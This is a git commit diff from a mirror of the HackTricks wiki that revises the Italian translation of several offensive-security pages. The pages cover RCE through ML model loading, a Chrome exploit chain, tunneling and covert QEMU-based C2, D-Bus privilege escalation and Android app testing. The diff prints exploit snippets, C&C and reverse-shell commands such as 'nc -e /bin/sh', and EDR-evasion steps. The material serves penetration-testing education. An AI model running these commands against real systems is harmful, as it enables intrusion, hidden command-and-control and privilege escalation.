mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
Translator
parent
9c2f79edd3
commit
a9b10eebc2
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Caricamento modelli in RCE
|
||||
## Caricamento modelli per RCE
|
||||
|
||||
I modelli di Machine Learning sono solitamente condivisi in diversi formati, come ONNX, TensorFlow, PyTorch, ecc. Questi modelli possono essere caricati nelle macchine degli sviluppatori o nei sistemi di produzione per essere utilizzati. Di solito, i modelli non dovrebbero contenere codice malevolo, ma ci sono alcuni casi in cui il modello può essere utilizzato per eseguire codice arbitrario sul sistema come funzionalità prevista o a causa di una vulnerabilità nella libreria di caricamento del modello.
|
||||
|
||||
@ -12,15 +12,15 @@ Al momento della scrittura, questi sono alcuni esempi di questo tipo di vulnerab
|
||||
|-----------------------------|------------------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------|
|
||||
| **PyTorch** (Python) | *Deserializzazione insicura in* `torch.load` **(CVE-2025-32434)** | Pickle malevolo nel checkpoint del modello porta all'esecuzione di codice (bypassando la protezione `weights_only`) | |
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + download di modello malevolo causa esecuzione di codice; deserializzazione RCE in API di gestione | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (YAML non sicuro) <br> **CVE-2024-3660** (Keras Lambda) | Caricamento del modello da YAML utilizza `yaml.unsafe_load` (esecuzione di codice) <br> Caricamento del modello con layer **Lambda** esegue codice Python arbitrario | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (YAML non sicuro) <br> **CVE-2024-3660** (Keras Lambda) | Caricamento del modello da YAML utilizza `yaml.unsafe_load` (esecuzione di codice) <br> Caricamento del modello con **Lambda** layer esegue codice Python arbitrario | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (analisi TFLite) | Modello `.tflite` creato provoca overflow intero → corruzione dell'heap (potenziale RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Caricamento di un modello tramite `joblib.load` esegue pickle con il payload `__reduce__` dell'attaccante | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *contestato* | `numpy.load` di default consentiva array di oggetti pickle – `.npy/.npz` malevoli provocano esecuzione di codice | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Caricamento di un modello tramite `joblib.load` esegue pickle con il payload `__reduce__` dell'attaccante | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (unsafe `np.load`) *contestato* | `numpy.load` di default consentiva array di oggetti pickle – `.npy/.npz` malevoli provocano esecuzione di codice | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (traversal di directory) <br> **CVE-2024-5187** (traversal tar) | Il percorso dei pesi esterni del modello ONNX può uscire dalla directory (leggere file arbitrari) <br> Modello ONNX malevolo tar può sovrascrivere file arbitrari (portando a RCE) | |
|
||||
| ONNX Runtime (rischio di design) | *(Nessun CVE)* operazioni personalizzate ONNX / flusso di controllo | Modello con operatore personalizzato richiede il caricamento del codice nativo dell'attaccante; grafi di modello complessi abusano della logica per eseguire calcoli non intenzionati | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (traversal di percorso) | Utilizzando l'API di caricamento del modello con `--model-control` abilitato consente la traversata di percorso relativo per scrivere file (ad es., sovrascrivere `.bashrc` per RCE) | |
|
||||
| **GGML (formato GGUF)** | **CVE-2024-25664 … 25668** (molti overflow dell'heap) | File modello GGUF malformato provoca overflow del buffer dell'heap nel parser, abilitando l'esecuzione di codice arbitrario sul sistema vittima | |
|
||||
| **Keras (formati più vecchi)** | *(Nessun nuovo CVE)* Modello Keras H5 legacy | Modello HDF5 (`.h5`) malevolo con codice Lambda layer continua a eseguire al caricamento (Keras safe_mode non copre il vecchio formato – “attacco di downgrade”) | |
|
||||
| **GGML (formato GGUF)** | **CVE-2024-25664 … 25668** (molti overflow dell'heap) | File modello GGUF malformato provoca overflow del buffer dell'heap nel parser, abilitando l'esecuzione di codice arbitrario sul sistema vittima | |
|
||||
| **Keras (formati più vecchi)** | *(Nessun nuovo CVE)* Modello Keras H5 legacy | Modello HDF5 (`.h5`) malevolo con codice Lambda layer continua a eseguire al caricamento (Keras safe_mode non copre il vecchio formato – “attacco di downgrade”) | |
|
||||
| **Altri** (generale) | *Difetto di design* – Serializzazione Pickle | Molti strumenti ML (ad es., formati di modello basati su pickle, `pickle.load` di Python) eseguiranno codice arbitrario incorporato nei file modello a meno che non venga mitigato | |
|
||||
|
||||
Inoltre, ci sono alcuni modelli basati su pickle di Python, come quelli utilizzati da [PyTorch](https://github.com/pytorch/pytorch/security), che possono essere utilizzati per eseguire codice arbitrario sul sistema se non vengono caricati con `weights_only=True`. Quindi, qualsiasi modello basato su pickle potrebbe essere particolarmente suscettibile a questo tipo di attacchi, anche se non è elencato nella tabella sopra.
|
||||
@ -75,13 +75,13 @@ Exploit pronto all'uso: **Metasploit** modulo `exploit/linux/http/invokeai_rce_c
|
||||
|
||||
• InvokeAI 5.3.1-5.4.2 (flag di scansione predefinito **false**)
|
||||
• `/api/v2/models/install` raggiungibile dall'attaccante
|
||||
• Il processo ha i permessi per eseguire comandi shell
|
||||
• Il processo ha permessi per eseguire comandi shell
|
||||
|
||||
#### Mitigazioni
|
||||
|
||||
* Aggiorna a **InvokeAI ≥ 5.4.3** – la patch imposta `scan=True` per impostazione predefinita e esegue la scansione malware prima della deserializzazione.
|
||||
* Quando carichi i checkpoint programmaticamente usa `torch.load(file, weights_only=True)` o il nuovo [`torch.load_safe`](https://pytorch.org/docs/stable/serialization.html#security) helper.
|
||||
* Applica liste di autorizzazione / firme per le fonti dei modelli e esegui il servizio con il minimo privilegio.
|
||||
* Applica liste di autorizzazione / firme per le fonti dei modelli e esegui il servizio con il minor privilegio possibile.
|
||||
|
||||
> ⚠️ Ricorda che **qualsiasi** formato basato su pickle di Python (inclusi molti file `.pt`, `.pkl`, `.ckpt`, `.pth`) è intrinsecamente insicuro da deserializzare da fonti non attendibili.
|
||||
|
||||
@ -131,7 +131,7 @@ model.load_state_dict(torch.load("malicious_state.pth", weights_only=False))
|
||||
|
||||
# /tmp/pwned.txt is created even if you get an error
|
||||
```
|
||||
## Modelli per Path Traversal
|
||||
## Modelli per il Path Traversal
|
||||
|
||||
Come commentato in [**questo post del blog**](https://blog.huntr.com/pivoting-archive-slip-bugs-into-high-value-ai/ml-bounties), la maggior parte dei formati dei modelli utilizzati da diversi framework AI si basa su archivi, di solito `.zip`. Pertanto, potrebbe essere possibile abusare di questi formati per eseguire attacchi di path traversal, consentendo di leggere file arbitrari dal sistema in cui il modello è caricato.
|
||||
|
||||
|
||||
@ -29,8 +29,8 @@ Comprendere la superficie di attacco richiede di sapere dove viene eseguito il c
|
||||
```
|
||||
Layered defence-in-depth:
|
||||
|
||||
* **V8 sandbox** (Isolate): i permessi di memoria sono limitati per prevenire letture/scritture arbitrarie da JS / Wasm JITati.
|
||||
* La divisione **Renderer ↔ Browser** è garantita tramite il passaggio di messaggi **Mojo/IPC**; il renderer non ha *accesso* nativo al FS/rete.
|
||||
* **V8 sandbox** (Isolate): i permessi di memoria sono limitati per prevenire letture/scritture arbitrarie da JS / Wasm JITed.
|
||||
* La **divisione Renderer ↔ Browser** è garantita tramite il passaggio di messaggi **Mojo/IPC**; il renderer non ha *accesso* nativo al FS/rete.
|
||||
* Le **sandbox OS** contengono ulteriormente ogni processo (Windows Integrity Levels / `seccomp-bpf` / profili sandbox macOS).
|
||||
|
||||
Un attaccante *remoto* ha quindi bisogno di **tre** primitive successive:
|
||||
@ -49,7 +49,7 @@ Effetto:
|
||||
* Il compilatore **salta il controllo del tipo**, trattando un *riferimento* (`externref/anyref`) come un *int64*.
|
||||
* Wasm creato consente di sovrapporre un'intestazione di oggetto JS con dati controllati dall'attaccante → <code>addrOf()</code> & <code>fakeObj()</code> **primitive AAW / AAR**.
|
||||
|
||||
PoC minima (estratto):
|
||||
Minimal PoC (estratto):
|
||||
```WebAssembly
|
||||
(module
|
||||
(type $t0 (func (param externref) (result externref)))
|
||||
@ -82,7 +82,7 @@ Risultato: **lettura/scrittura arbitraria all'interno di V8**.
|
||||
|
||||
---
|
||||
|
||||
## 3. Fase 2 – Uscita dal Sandbox di V8 (problema 379140430)
|
||||
## 3. Fase 2 – Uscire dal Sandbox di V8 (problema 379140430)
|
||||
|
||||
Quando una funzione Wasm viene compilata in modo tier-up, viene generato un **wrapper JS ↔ Wasm**. Un bug di mismatch della firma causa il wrapper a scrivere oltre la fine di un oggetto **`Tuple2`** fidato quando la funzione Wasm viene riottimizzata *mentre è ancora nello stack*.
|
||||
|
||||
@ -91,7 +91,7 @@ Sovrascrivere i 2 × campi a 64 bit dell'oggetto `Tuple2` consente **lettura/scr
|
||||
Passaggi chiave nell'exploit:
|
||||
1. Portare la funzione nello stato **Tier-Up** alternando codice turbofan/baseline.
|
||||
2. Attivare il tier-up mantenendo un riferimento nello stack (`Function.prototype.apply`).
|
||||
3. Utilizzare AAR/AAW Fase-1 per trovare e corrompere il `Tuple2` adiacente.
|
||||
3. Utilizzare AAR/AAW di Fase-1 per trovare e corrompere il `Tuple2` adiacente.
|
||||
|
||||
Identificazione del wrapper:
|
||||
```js
|
||||
@ -124,7 +124,7 @@ mime_type: "application/x-msdownload"
|
||||
}
|
||||
});
|
||||
```
|
||||
Non è necessaria ulteriore corruzione della memoria – il **difetto logico** ci consente di eseguire file arbitrari con i privilegi dell'utente.
|
||||
Nessuna corruzione di memoria aggiuntiva è necessaria – il **difetto logico** ci consente di eseguire file arbitrari con i privilegi dell'utente.
|
||||
|
||||
---
|
||||
|
||||
@ -133,7 +133,7 @@ Non è necessaria ulteriore corruzione della memoria – il **difetto logico** c
|
||||
1. **L'utente visita** una pagina web malevola.
|
||||
2. **Fase 1**: Il modulo Wasm sfrutta CVE-2025-0291 → heap V8 AAR/AAW.
|
||||
3. **Fase 2**: La discrepanza del wrapper corrompe `Tuple2` → fuga dalla sandbox V8.
|
||||
4. **Fase 3**: `startDragging()` IPC → fuga dalla sandbox del sistema operativo ed esecuzione del payload.
|
||||
4. **Fase 3**: `startDragging()` IPC → fuga dalla sandbox OS ed esecuzione del payload.
|
||||
|
||||
Risultato: **Esecuzione Remota di Codice (RCE)** sull'host (Chrome 130, Windows/Linux/macOS).
|
||||
|
||||
@ -150,7 +150,7 @@ http-server -p 8000 -c -1
|
||||
# Windows kernel debugging
|
||||
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
|
||||
```
|
||||
Utili flag quando si avvia una build *development* di Chrome:
|
||||
Utili flag quando si avvia una build di *development* di Chrome:
|
||||
```bash
|
||||
chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
|
||||
```
|
||||
|
||||
@ -1,11 +1,11 @@
|
||||
# Tunneling e Port Forwarding
|
||||
# Tunneling and Port Forwarding
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Suggerimento Nmap
|
||||
## Nmap tip
|
||||
|
||||
> [!WARNING]
|
||||
> Le scansioni **ICMP** e **SYN** non possono essere tunnelizzate attraverso i proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare le **scansioni TCP** (`-sT`) affinché questo funzioni.
|
||||
> **ICMP** e **SYN** scans non possono essere tunnelizzati attraverso proxy socks, quindi dobbiamo **disabilitare la scoperta ping** (`-Pn`) e specificare **TCP scans** (`-sT`) affinché questo funzioni.
|
||||
|
||||
## **Bash**
|
||||
|
||||
@ -94,7 +94,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
## SSHUTTLE
|
||||
|
||||
Puoi **tunneling** tramite **ssh** tutto il **traffico** verso una **sottorete** attraverso un host.\
|
||||
Ad esempio, inoltrando tutto il traffico che va a 10.10.10.0/24
|
||||
Ad esempio, inoltrando tutto il traffico verso 10.10.10.0/24
|
||||
```bash
|
||||
pip install sshuttle
|
||||
sshuttle -r user@host 10.10.10.10/24
|
||||
@ -294,7 +294,9 @@ Puoi bypassare un **proxy non autenticato** eseguendo questa riga invece dell'ul
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
### SSL Socat Tunnel
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### Tunnel SSL Socat
|
||||
|
||||
**/bin/sh console**
|
||||
|
||||
@ -345,10 +347,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
È necessario avere **accesso RDP al sistema**.\
|
||||
È necessario avere **accesso RDP sul sistema**.\
|
||||
Scarica:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzionalità Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti attraverso la connessione RDP**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Questo strumento utilizza `Dynamic Virtual Channels` (`DVC`) dalla funzionalità Remote Desktop Service di Windows. DVC è responsabile per **il tunneling dei pacchetti sulla connessione RDP**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Nel tuo computer client carica **`SocksOverRDP-Plugin.dll`** in questo modo:
|
||||
@ -358,7 +360,7 @@ C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Ora possiamo **connetterci** alla **vittima** tramite **RDP** utilizzando **`mstsc.exe`**, e dovremmo ricevere un **messaggio** che dice che il **plugin SocksOverRDP è abilitato**, e ascolterà su **127.0.0.1:1080**.
|
||||
|
||||
**Connetti** tramite **RDP** e carica ed esegui nella macchina della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
**Connetti** tramite **RDP** e carica ed esegui nel computer della vittima il binario `SocksOverRDP-Server.exe`:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
@ -366,7 +368,7 @@ Ora, conferma nella tua macchina (attaccante) che la porta 1080 è in ascolto:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per proxyare il traffico attraverso quella porta.**
|
||||
Ora puoi usare [**Proxifier**](https://www.proxifier.com/) **per proxy il traffico attraverso quella porta.**
|
||||
|
||||
## Proxifica le app GUI di Windows
|
||||
|
||||
@ -385,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Autenticandosi contro un proxy, crea un collegamento a una porta locale che viene inoltrata al servizio esterno specificato. Poi, puoi utilizzare lo strumento di tua scelta attraverso questa porta.\
|
||||
Autenticandosi contro un proxy, crea un binding di una porta localmente che è inoltrata al servizio esterno specificato. Poi, puoi utilizzare lo strumento di tua scelta attraverso questa porta.\
|
||||
Ad esempio, inoltra la porta 443.
|
||||
```
|
||||
Username Alice
|
||||
@ -421,7 +423,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
|
||||
[**Scaricalo da qui**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
Stabilisce un canale C\&C attraverso DNS. Non richiede privilegi di root.
|
||||
Stabilisce un canale C\&C tramite DNS. Non richiede privilegi di root.
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
@ -457,7 +459,7 @@ Proxychains intercetta la chiamata `gethostbyname` della libc e instrada la rich
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
È necessario avere i permessi di root in entrambi i sistemi per creare adattatori tun e instradare i dati tra di essi utilizzando richieste di echo ICMP.
|
||||
È necessario avere i privilegi di root in entrambi i sistemi per creare adattatori tun e instradare i dati tra di essi utilizzando richieste di echo ICMP.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -610,7 +612,7 @@ Il comando sopra pubblica la porta della vittima **8080** come **attacker_ip:900
|
||||
|
||||
## Tunnel Covert basati su VM con QEMU
|
||||
|
||||
Il networking in modalità utente di QEMU (`-netdev user`) supporta un'opzione chiamata `hostfwd` che **collega una porta TCP/UDP sull'*host* e la inoltra nel *guest***. Quando il guest esegue un daemon SSH completo, la regola hostfwd ti offre una jump box SSH usa e getta che vive interamente all'interno di una VM effimera – perfetta per nascondere il traffico C2 da EDR poiché tutta l'attività e i file malevoli rimangono nel disco virtuale.
|
||||
Il networking in modalità utente di QEMU (`-netdev user`) supporta un'opzione chiamata `hostfwd` che **collega una porta TCP/UDP sull'*host* e la inoltra nel *guest***. Quando il guest esegue un daemon SSH completo, la regola hostfwd ti fornisce una jump box SSH usa e getta che vive interamente all'interno di una VM effimera – perfetta per nascondere il traffico C2 da EDR poiché tutta l'attività e i file malevoli rimangono nel disco virtuale.
|
||||
|
||||
### Quick one-liner
|
||||
```powershell
|
||||
@ -624,7 +626,7 @@ qemu-system-x86_64.exe ^
|
||||
```
|
||||
• Il comando sopra avvia un'immagine di **Tiny Core Linux** (`tc.qcow2`) nella RAM.
|
||||
• La porta **2222/tcp** sull'host Windows è inoltrata in modo trasparente a **22/tcp** all'interno del guest.
|
||||
• Dal punto di vista dell'attaccante, il target espone semplicemente la porta 2222; tutti i pacchetti che la raggiungono sono gestiti dal server SSH in esecuzione nella VM.
|
||||
• Dal punto di vista dell'attaccante, il target espone semplicemente la porta 2222; qualsiasi pacchetto che la raggiunge è gestito dal server SSH in esecuzione nella VM.
|
||||
|
||||
### Avvio furtivo tramite VBScript
|
||||
```vb
|
||||
@ -638,7 +640,7 @@ Eseguire lo script con `cscript.exe //B update.vbs` mantiene la finestra nascost
|
||||
|
||||
Poiché Tiny Core è senza stato, gli attaccanti di solito:
|
||||
|
||||
1. Posizionano il payload in `/opt/123.out`
|
||||
1. Posano il payload in `/opt/123.out`
|
||||
2. Aggiungono a `/opt/bootlocal.sh`:
|
||||
|
||||
```sh
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Enumerazione GUI**
|
||||
## **GUI enumeration**
|
||||
|
||||
D-Bus è utilizzato come mediatore per le comunicazioni inter-processo (IPC) negli ambienti desktop di Ubuntu. Su Ubuntu, si osserva il funzionamento simultaneo di diversi bus di messaggi: il bus di sistema, principalmente utilizzato da **servizi privilegiati per esporre servizi rilevanti per l'intero sistema**, e un bus di sessione per ogni utente connesso, che espone servizi rilevanti solo per quell'utente specifico. L'attenzione qui è principalmente sul bus di sistema a causa della sua associazione con servizi che operano con privilegi più elevati (ad esempio, root) poiché il nostro obiettivo è elevare i privilegi. Si nota che l'architettura di D-Bus impiega un 'router' per ogni bus di sessione, responsabile della reindirizzazione dei messaggi dei client ai servizi appropriati in base all'indirizzo specificato dai client per il servizio con cui desiderano comunicare.
|
||||
|
||||
@ -167,7 +167,7 @@ sudo busctl monitor htb.oouch.Block #Monitor only specified
|
||||
sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see
|
||||
sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see
|
||||
```
|
||||
Nell'esempio seguente, l'interfaccia `htb.oouch.Block` è monitorata e **il messaggio "**_**lalalalal**_**" viene inviato attraverso una cattiva comunicazione**:
|
||||
Nell'esempio seguente, l'interfaccia `htb.oouch.Block` è monitorata e **il messaggio "**_**lalalalal**_**" viene inviato attraverso una comunicazione errata**:
|
||||
```bash
|
||||
busctl monitor htb.oouch.Block
|
||||
|
||||
@ -194,7 +194,7 @@ Se ci sono troppe informazioni sul bus, passa una regola di corrispondenza in qu
|
||||
```bash
|
||||
dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'"
|
||||
```
|
||||
Possono essere specificate più regole. Se un messaggio corrisponde a _qualunque_ delle regole, il messaggio verrà stampato. Così:
|
||||
È possibile specificare più regole. Se un messaggio corrisponde a _qualunque_ delle regole, il messaggio verrà stampato. Così:
|
||||
```bash
|
||||
dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends"
|
||||
```
|
||||
@ -204,7 +204,7 @@ dbus-monitor "type=method_call" "type=method_return" "type=error"
|
||||
```
|
||||
Consulta la [documentazione di D-Bus](http://dbus.freedesktop.org/doc/dbus-specification.html) per ulteriori informazioni sulla sintassi delle regole di corrispondenza.
|
||||
|
||||
### Di più
|
||||
### Maggiori informazioni
|
||||
|
||||
`busctl` ha ancora più opzioni, [**trovale tutte qui**](https://www.freedesktop.org/software/systemd/man/busctl.html).
|
||||
|
||||
@ -262,13 +262,13 @@ r = sd_bus_add_object_vtable(bus,
|
||||
block_vtable,
|
||||
NULL);
|
||||
```
|
||||
Inoltre, nella riga 57 puoi trovare che **l'unico metodo registrato** per questa comunicazione D-Bus si chiama `Block`(_**Ecco perché nella sezione seguente i payload verranno inviati all'oggetto di servizio `htb.oouch.Block`, all'interfaccia `/htb/oouch/Block` e al nome del metodo `Block`**_):
|
||||
Inoltre, nella riga 57 puoi trovare che **l'unico metodo registrato** per questa comunicazione D-Bus si chiama `Block`(_**Ecco perché nella sezione seguente i payload verranno inviati all'oggetto servizio `htb.oouch.Block`, all'interfaccia `/htb/oouch/Block` e al nome del metodo `Block`**_):
|
||||
```c
|
||||
SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED),
|
||||
```
|
||||
#### Python
|
||||
|
||||
Il seguente codice python invierà il payload alla connessione D-Bus al metodo `Block` tramite `block_iface.Block(runme)` (_nota che è stato estratto dal precedente blocco di codice_):
|
||||
Il seguente codice python invierà il payload alla connessione D-Bus al metodo `Block` tramite `block_iface.Block(runme)` (_nota che è stato estratto dal blocco di codice precedente_):
|
||||
```python
|
||||
import dbus
|
||||
bus = dbus.SystemBus()
|
||||
@ -284,8 +284,8 @@ dbus-send --system --print-reply --dest=htb.oouch.Block /htb/oouch/Block htb.oou
|
||||
```
|
||||
- `dbus-send` è uno strumento utilizzato per inviare messaggi al “Message Bus”
|
||||
- Message Bus – Un software utilizzato dai sistemi per facilitare le comunicazioni tra le applicazioni. È correlato a Message Queue (i messaggi sono ordinati in sequenza) ma nel Message Bus i messaggi vengono inviati in un modello di abbonamento e sono anche molto veloci.
|
||||
- Il tag “-system” è utilizzato per indicare che si tratta di un messaggio di sistema, non di un messaggio di sessione (per impostazione predefinita).
|
||||
- Il tag “–print-reply” è utilizzato per stampare il nostro messaggio in modo appropriato e ricevere eventuali risposte in un formato leggibile dall'uomo.
|
||||
- Il tag “-system” viene utilizzato per indicare che si tratta di un messaggio di sistema, non di un messaggio di sessione (per impostazione predefinita).
|
||||
- Il tag “–print-reply” viene utilizzato per stampare il nostro messaggio in modo appropriato e ricevere eventuali risposte in un formato leggibile dall'uomo.
|
||||
- “–dest=Dbus-Interface-Block” L'indirizzo dell'interfaccia Dbus.
|
||||
- “–string:” – Tipo di messaggio che desideriamo inviare all'interfaccia. Ci sono diversi formati per inviare messaggi come double, bytes, booleans, int, objpath. Tra questi, il “object path” è utile quando vogliamo inviare un percorso di un file all'interfaccia Dbus. Possiamo utilizzare un file speciale (FIFO) in questo caso per passare un comando all'interfaccia nel nome di un file. “string:;” – Questo serve a richiamare nuovamente il percorso dell'oggetto dove posizioniamo il file/comando della shell inversa FIFO.
|
||||
|
||||
@ -451,7 +451,7 @@ sudo dbus-map --enable-probes --null-agent --dump-methods --dump-properties
|
||||
|
||||
### uptux.py
|
||||
* Autore: @initstring – [https://github.com/initstring/uptux](https://github.com/initstring/uptux)
|
||||
* Script solo Python che cerca percorsi *scrivibili* nelle unità systemd **e** file di policy D-Bus eccessivamente permissivi (ad es. `send_destination="*"`).
|
||||
* Script solo Python che cerca percorsi *scrivibili* nelle unità systemd **e** file di policy D-Bus eccessivamente permissivi (es. `send_destination="*"`).
|
||||
* Uso rapido:
|
||||
```bash
|
||||
python3 uptux.py -n # esegui tutti i controlli ma non scrivere un file di log
|
||||
@ -467,10 +467,10 @@ python3 uptux.py -d # abilita l'output di debug verboso
|
||||
|
||||
Tenere d'occhio le CVE pubblicate di recente aiuta a individuare schemi insicuri simili nel codice personalizzato. I seguenti problemi EoP locali ad alto impatto derivano tutti dalla mancanza di autenticazione/autorizzazione sul **bus di sistema**:
|
||||
|
||||
| Anno | CVE | Componente | Causa Radice | One-Liner PoC |
|
||||
| Anno | CVE | Componente | Causa Radice | PoC in una riga |
|
||||
|------|-----|-----------|------------|---------------|
|
||||
| 2024 | CVE-2024-45752 | `logiops` ≤ 0.3.4 (daemon HID Logitech) | Il servizio di sistema `logid` espone un'interfaccia `org.freedesktop.Logiopsd` senza restrizioni che consente a *qualsiasi* utente di cambiare i profili dei dispositivi e iniettare comandi shell arbitrari tramite stringhe macro. | `gdbus call -y -d org.freedesktop.Logiopsd -o /org/freedesktop/Logiopsd -m org.freedesktop.Logiopsd.LoadConfig "/tmp/pwn.yml"` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Un proxy in esecuzione come root inoltra nomi di bus legacy ai servizi backend **senza inoltrare UID/contesto Polkit del chiamante**, quindi ogni richiesta inoltrata è trattata come UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-23222 | Deepin `dde-api-proxy` ≤ 1.0.18 | Un proxy in esecuzione come root inoltra nomi di bus legacy ai servizi backend **senza inoltrare il contesto UID/Polkit del chiamante**, quindi ogni richiesta inoltrata è trattata come UID 0. | `gdbus call -y -d com.deepin.daemon.Grub2 -o /com/deepin/daemon/Grub2 -m com.deepin.daemon.Grub2.SetTimeout 1` |
|
||||
| 2025 | CVE-2025-3931 | Red Hat Insights `yggdrasil` ≤ 0.4.6 | Il metodo pubblico `Dispatch` manca di ACL → l'attaccante può ordinare al lavoratore del *package-manager* di installare RPM arbitrari. | `dbus-send --system --dest=com.redhat.yggdrasil /com/redhat/Dispatch com.redhat.yggdrasil.Dispatch string:'{"worker":"pkg","action":"install","pkg":"nc -e /bin/sh"}'` |
|
||||
|
||||
Schemi da notare:
|
||||
|
||||
@ -13,7 +13,7 @@ android-applications-basics.md
|
||||
## ADB (Android Debug Bridge)
|
||||
|
||||
Questo è lo strumento principale di cui hai bisogno per connetterti a un dispositivo Android (emulato o fisico).\
|
||||
**ADB** consente di controllare i dispositivi sia tramite **USB** che tramite **rete** da un computer. Questa utility abilita la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
|
||||
**ADB** consente di controllare i dispositivi sia tramite **USB** che tramite **Rete** da un computer. Questa utility permette la **copia** di file in entrambe le direzioni, **installazione** e **disinstallazione** di app, **esecuzione** di comandi shell, **backup** di dati, **lettura** di log, tra le altre funzioni.
|
||||
|
||||
Dai un'occhiata alla seguente lista di [**Comandi ADB**](adb-commands.md) per imparare come utilizzare adb.
|
||||
|
||||
@ -60,11 +60,11 @@ Per favore, [**leggi qui per trovare informazioni sui diversi decompilatori disp
|
||||
|
||||
### Looking for interesting Info
|
||||
|
||||
Basta dare un'occhiata alle **stringhe** dell'APK per cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
|
||||
Dando un'occhiata alle **stringhe** dell'APK puoi cercare **password**, **URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **chiavi** **api**, **crittografia**, **bluetooth uuids**, **token** e qualsiasi cosa interessante... cerca anche **backdoor** di esecuzione del codice o backdoor di autenticazione (credenziali admin hardcoded per l'app).
|
||||
|
||||
**Firebase**
|
||||
|
||||
Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiore informazione su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
Presta particolare attenzione agli **URL di firebase** e controlla se è configurato male. [Maggiori informazioni su cosa è Firebase e come sfruttarlo qui.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### Basic understanding of the application - Manifest.xml, strings.xml
|
||||
|
||||
@ -73,21 +73,21 @@ L'**esame dei file _Manifest.xml_ e **_strings.xml_** di un'applicazione può ri
|
||||
**Vulnerabilità** identificate dal **Manifest.xml** includono:
|
